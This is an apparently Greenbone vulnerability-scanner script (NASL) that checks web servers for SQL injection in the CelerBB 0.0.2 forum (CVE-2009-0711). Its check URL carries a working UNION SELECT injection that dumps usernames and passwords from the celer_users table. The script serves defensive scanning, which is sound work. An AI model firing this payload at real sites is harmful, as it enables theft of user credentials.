CelerBB Information Disclosure and Multiple SQL Injection Vulnerabilities

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100017");
  script_version("2025-01-17T15:39:18+0000");
  script_tag(name:"last_modification", value:"2025-01-17 15:39:18 +0000 (Fri, 17 Jan 2025)");
  script_tag(name:"creation_date", value:"2009-03-06 13:13:19 +0100 (Fri, 06 Mar 2009)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34014");
  script_cve_id("CVE-2009-0711");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("CelerBB Information Disclosure and Multiple SQL Injection Vulnerabilities");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"CelerBB is prone to an information disclosure vulnerability and
  multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize
  user-supplied data.");

  script_tag(name:"impact", value:"A successful attack could allow an attacker to obtain sensitive
  information, compromise the application, access or modify data, or exploit vulnerabilities in the
  underlying database.");

  script_tag(name:"affected", value:"CelerBB 0.0.2 is vulnerable, other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))
  exit(0);

foreach dir(make_list_unique("/forum", http_cgi_dirs(port:port))) {

  if(dir == "/")
    dir = "";

  res = http_get_cache(item:dir + "/main.php", port:port);
  if(!res || res !~ "^HTTP/1\.[01] 200")
    continue;

  if("Welcome to Celer Boards!" >!< res &&
     "<h1>Celer - Bulletin Board</h1>" >!< res &&
     '<li id="register"><a href="register.php">Register</a></li>' >!< res &&
     '<a href="viewforum.php?id=' >!< res)
    continue;

  url = string(dir, "/viewforum.php?id=-1%27%20UNION%20ALL%20SELECT%201,2,GROUP_CONCAT(CONCAT(username,%200x3a,%20password,0x3a,id,0x3a,last_login)),4,5,6,7,8%20FROM%20celer_users%23");

  if(http_vuln_check(port:port, url:url, pattern:">.*:+.*:+[0-9]+:+[0-9]+</th>")) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);